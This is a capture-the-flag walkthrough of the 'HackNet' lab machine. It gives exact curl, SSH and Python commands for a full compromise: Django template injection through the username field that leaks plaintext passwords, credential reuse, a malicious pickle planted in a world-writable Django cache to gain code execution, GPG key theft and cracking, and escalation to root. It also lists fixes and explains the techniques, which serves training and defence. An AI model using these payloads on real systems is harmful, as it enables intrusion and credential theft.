HackNet
Summary
I found a Django social-network application on hacknet.htb with open self-registration. The /likes/<id> view rendered each liker's username through the Django template engine, so setting my own username to {{users.values}} and liking a post dumped every liker's database row, including plain-text passwords.
One harvested password worked over SSH as the local user mikey and gave the user flag. As mikey, the application settings showed Django's FileBasedCache in /var/tmp/django_cache, a world-writable directory that the gunicorn workers (running as sandy) read and unpickle.
Replacing a fresh cache entry with a malicious pickle ran code as sandy, which was used to add an SSH key and log in. Sandy's GPG private key passphrase was cracked offline, decrypting SQL backups whose message table held the root password; su with it gave root.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export PASSWORD="<the-password-you-recovered, for pwn9>"
export PASSWORD3="<the-password-you-recovered, for root>"
export CACHE_FILE="<a-value-you-captured-earlier>"
export CSRFMIDDLEWARETOKEN="<a-value-you-captured-earlier>"
export GPG_PASSPHRASE="<a-password-you-choose>"
export MIKEY_PASSWORD="<a-password-you-choose>"
export SSH_PUB="<a-value-you-captured-earlier>"Attack path — how the box was taken
Exact commands 1
The registration page is open to anyone.
$ curl --resolve hacknet.htb:80:$TARGET -isk http://hacknet.htb/registerExact commands 4
Fetch the sign-up form; copy its csrfmiddlewaretoken value into $CSRFMIDDLEWARETOKEN.
$ curl --resolve hacknet.htb:80:$TARGET -isk -c hacknet.cookies http://hacknet.htb/registerRegister with email, username and a single password field (no password1/password2 pair).
$ curl --resolve hacknet.htb:80:$TARGET -isk -b hacknet.cookies -c hacknet.cookies -d "csrfmiddlewaretoken=$CSRFMIDDLEWARETOKEN&email=pwn9%40hacknet.htb&username=pwn9&password=$PASSWORD" http://hacknet.htb/registerFetch the login form for a fresh $CSRFMIDDLEWARETOKEN.
$ curl --resolve hacknet.htb:80:$TARGET -isk -b hacknet.cookies -c hacknet.cookies http://hacknet.htb/loginLog in with email and password; the 302 to /profile sets the sessionid cookie in hacknet.cookies.
$ curl --resolve hacknet.htb:80:$TARGET -isk -b hacknet.cookies -c hacknet.cookies -d "csrfmiddlewaretoken=$CSRFMIDDLEWARETOKEN&email=pwn9%40hacknet.htb&password=$PASSWORD" http://hacknet.htb/loginExact commands 10
Shows the $.get("/likes/" + post_num) call behind the likes pop-up.
$ curl --resolve hacknet.htb:80:$TARGET -sk http://hacknet.htb/static/script.js$CSRFMIDDLEWARETOKEN comes from the form on GET /profile/edit. Set the username to a test expression; empty fields keep their current values.
$ curl --resolve hacknet.htb:80:$TARGET -isk -b hacknet.cookies -c hacknet.cookies -F csrfmiddlewaretoken=$CSRFMIDDLEWARETOKEN -F email= -F 'username={{7*7}}' -F 'password=' -F about= -F is_public=on http://hacknet.htb/profile/editLike my own post 29 so the test username appears in its likers list; the response body is "Success".
$ curl --resolve hacknet.htb:80:$TARGET -isk -b hacknet.cookies http://hacknet.htb/like/29Returns "Something went wrong..." rather than the literal {{7*7}}: the username is being parsed.
$ curl --resolve hacknet.htb:80:$TARGET -isk -b hacknet.cookies http://hacknet.htb/likes/29Retry with valid Django template syntax, {{7|add:'7'}}.
$ curl --resolve hacknet.htb:80:$TARGET -isk -b hacknet.cookies -c hacknet.cookies -F csrfmiddlewaretoken=$CSRFMIDDLEWARETOKEN -F email= -F 'username={{7|add:'"'"'7'"'"'}}' -F 'password=' -F about= -F is_public=on http://hacknet.htb/profile/editThe likers list renders title="14": Django template injection confirmed.
$ curl --resolve hacknet.htb:80:$TARGET -isk -b hacknet.cookies http://hacknet.htb/likes/29Same form, now with {{users.values}} as the username, guessing that the view passes its likers to the template as users.
$ curl --resolve hacknet.htb:80:$TARGET -isk -b hacknet.cookies -c hacknet.cookies -F csrfmiddlewaretoken=$CSRFMIDDLEWARETOKEN -F email= -F 'username={{users.values}}' -F 'password=' -F about= -F is_public=on http://hacknet.htb/profile/editThe title attribute now holds the QuerySet of every liker of post 29, password column included.
$ curl --resolve hacknet.htb:80:$TARGET -isk -b hacknet.cookies http://hacknet.htb/likes/29Like another post (here 15) to add the injected account to its likers; the response body is "Success".
$ curl --resolve hacknet.htb:80:$TARGET -isk -b hacknet.cookies http://hacknet.htb/like/15Extract the leaked username/password pairs. Repeat /like/<id> and /likes/<id> across the posts.
$ curl --resolve hacknet.htb:80:$TARGET -sk -b hacknet.cookies http://hacknet.htb/likes/15 | sed "s/'/'/g" | grep -oP "'username': '[^']+', 'password': '[^']+'"FixNever compile user data as a template, and never store plaintext passwordsCritical
Exact commands 1
$MIKEY_PASSWORD is mikey's password, the value recovered from the /likes leak in step 3 (not the registration password). Prints id and <user.txt>.
$ sshpass -p "$MIKEY_PASSWORD" ssh -o StrictHostKeyChecking=no mikey@$TARGET 'id; cat /home/mikey/user.txt'FixSeparate application and OS credentials and block credential reuseHigh
Exact commands 2
The CACHES block names the file backend and its directory. $MIKEY_PASSWORD is the password recovered in step 3.
$ sshpass -p "$MIKEY_PASSWORD" ssh -o StrictHostKeyChecking=no mikey@$TARGET 'sed -n "1,130p" /var/www/HackNet/HackNet/settings.py; find /var/tmp /tmp /dev/shm -maxdepth 3 -type d -o -type f 2>/dev/null | head -n 200'Confirms the cache directory is world-writable.
$ sshpass -p "$MIKEY_PASSWORD" ssh -o StrictHostKeyChecking=no mikey@$TARGET 'ls -lad /var/tmp/django_cache; ls -la /var/tmp/django_cache; stat -c "%A %U %G %n" /var/tmp/django_cache /var/log/nginx/access.log'Exact commands 6
My side. Bind the printed public key to $SSH_PUB for the payload below.
$ rm -f /tmp/hacknet_sandy_key /tmp/hacknet_sandy_key.pub; ssh-keygen -q -t ed25519 -N '' -f /tmp/hacknet_sandy_key; cat /tmp/hacknet_sandy_key.pubA unique keyword creates a fresh cache pair for this one URL.
$ curl --resolve hacknet.htb:80:$TARGET -sS -o /dev/null -w '%{http_code}\n' -b hacknet.cookies 'http://hacknet.htb/explore?keyword=sandyssh20261008'The two newest sandy-owned files belong to that request. Bind the name of the 34-byte one to $CACHE_FILE.
$ sshpass -p "$MIKEY_PASSWORD" ssh -o StrictHostKeyChecking=no mikey@$TARGET 'find /var/tmp/django_cache -maxdepth 1 -type f -name "*.djcache" -printf "%T@ %m %u %s %f\n" | sort -nr | head -n 8'The outer double quotes let $SSH_PUB and $CACHE_FILE expand on my side. os.unlink works because the directory, not the file, is writable.
$ sshpass -p "$MIKEY_PASSWORD" ssh -o StrictHostKeyChecking=no mikey@$TARGET "python3 -c 'import os,pickle,zlib,time; cmd=\"mkdir -p /home/sandy/.ssh; chmod 700 /home/sandy/.ssh; echo $SSH_PUB >> /home/sandy/.ssh/authorized_keys; chmod 600 /home/sandy/.ssh/authorized_keys\"; R=type(\"R\",(object,),{\"__reduce__\":lambda self:(os.system,(cmd,))}); p=pickle.dumps(time.time()+300,4)+zlib.compress(pickle.dumps(R(),4)); path=\"/var/tmp/django_cache/$CACHE_FILE\"; os.unlink(path); open(path,\"wb\").write(p)'"Same URL again: sandy's worker unpickles the planted entry and runs the command.
$ curl --resolve hacknet.htb:80:$TARGET -sS -o /dev/null -w '%{http_code}\n' -b hacknet.cookies 'http://hacknet.htb/explore?keyword=sandyssh20261008'Log in with the planted key; id confirms the sandy account.
$ ssh -i /tmp/hacknet_sandy_key -o BatchMode=yes -o StrictHostKeyChecking=no sandy@$TARGET id
uid=1001(sandy) gid=33(www-data)FixDo not unpickle cache data from a user-writable directoryCritical
Exact commands 7
Run earlier as mikey ($MIKEY_PASSWORD from step 3): the listing of /var/www/HackNet/backups shows backup01.sql.gpg, backup02.sql.gpg and backup03.sql.gpg, owned by sandy.
$ sshpass -p "$MIKEY_PASSWORD" ssh -o StrictHostKeyChecking=no mikey@$TARGET 'sed -n "48,65p" /var/www/HackNet/HackNet/settings.py; sed -n "1,200p" /var/www/HackNet/SocialNetwork/news_generator.py; ls -la /var/www/HackNet/backups; find /var/www/HackNet/backups -maxdepth 2 -type f -ls'As sandy: the file listing of /home/sandy includes .gnupg/private-keys-v1.d/armored_key.asc.
$ ssh -i /tmp/hacknet_sandy_key -o BatchMode=yes -o StrictHostKeyChecking=no sandy@$TARGET "id; ls -la /home/sandy; find /home/sandy -maxdepth 4 -type f -not -path '*/.cache/*' -ls; gpg --batch --list-secret-keys --keyid-format long; sudo -n -l"Copy the private key to my box.
$ scp -i /tmp/hacknet_sandy_key -o BatchMode=yes -o StrictHostKeyChecking=no sandy@$TARGET:/home/sandy/.gnupg/private-keys-v1.d/armored_key.asc /tmp/sandy_armored_key.ascBuild a John hash from the key.
$ gpg2john /tmp/sandy_armored_key.asc > /tmp/sandy_gpg.hash; head -c 200 /tmp/sandy_gpg.hashRecovers the private key's GPG passphrase $GPG_PASSPHRASE.
$ john --format=gpg --wordlist=/usr/share/wordlists/rockyou.txt /tmp/sandy_gpg.hashImport the key into a scratch home with $GPG_PASSPHRASE and decrypt the newest backup.
$ ssh -i /tmp/hacknet_sandy_key -o BatchMode=yes -o StrictHostKeyChecking=no sandy@$TARGET "mkdir -p -m 700 /tmp/hacknet-gpg-tmp-2; gpg --homedir /tmp/hacknet-gpg-tmp-2 --batch --pinentry-mode loopback --passphrase $GPG_PASSPHRASE --import /home/sandy/.gnupg/private-keys-v1.d/armored_key.asc >/dev/null 2>&1; gpg --homedir /tmp/hacknet-gpg-tmp-2 --batch --yes --pinentry-mode loopback --passphrase $GPG_PASSPHRASE --decrypt /var/www/HackNet/backups/backup03.sql.gpg > /tmp/backup03.sql 2>/dev/null; grep -Ein 'root|sudo|ssh|password|passwd|credential|backup|cache|secret' /tmp/backup03.sql | head -n 200"Decrypt the other two and print the message rows; message 50 under BACKUP02 holds the root password ($PASSWORD3).
$ ssh -i /tmp/hacknet_sandy_key -o BatchMode=yes -o StrictHostKeyChecking=no sandy@$TARGET "for n in 01 02; do gpg --homedir /tmp/hacknet-gpg-tmp-2 --batch --yes --pinentry-mode loopback --passphrase $GPG_PASSPHRASE --decrypt /var/www/HackNet/backups/backup\${n}.sql.gpg > /tmp/backup\${n}.sql 2>/dev/null; done; for n in 01 02 03; do echo BACKUP\${n}; sed -n '/INSERT INTO \`SocialNetwork_socialmessage\`/,/;/p' /tmp/backup\${n}.sql | grep -E '^\((2[0-7]|4[6-9]|5[0-3]),'; done"FixProtect private keys and keep secrets out of backupsHigh
Exact commands 1
Run in the sandy SSH session; prints uid=0(root) and <root.txt>.
$ printf "$PASSWORD3\n" | su - root -c '/usr/bin/id; cat /root/root.txt'
uid=0(root)FixUse a unique root passwordHigh
Attack patterns used
The transferable techniques behind this compromise.
Password / Credential ReuseCredential Access · Lateral MovementT1078
What it is
A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.
Why it works
Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.
Read more
Insecure DeserializationWeb · Service RCET1190
What it is
Applications that deserialize externally controlled data can be driven into executing code, by two routes that look alike and are not. In Java, .NET and PHP the payload is a 'gadget chain' — a graph of classes already on the classpath whose side effects during reconstruction add up to execution; ysoserial and ysoserial.net build them, and ViewState, Java RMI/JMX and PHP's unserialize() are the usual entry points. In Python the object names its own constructor: pickle calls whatever __reduce__ returns, so a payload is a few lines that hand back os.system and its argument, with no gadget hunting at all. PyYAML's yaml.load without SafeLoader is the same primitive wearing a different name.
Why it works
A deserializer reconstructs an arbitrary object graph and invokes methods on it before any application code has seen the input. Remediate by not deserializing untrusted data natively at all — prefer a data format that carries no types, such as JSON parsed into known structures — and where that is impossible, sign or encrypt the serialized state and enforce a strict type allow-list. In Python that means json over pickle and yaml.safe_load over yaml.load.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0) |
| 80/tcp | http nginx 1.22.1 |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.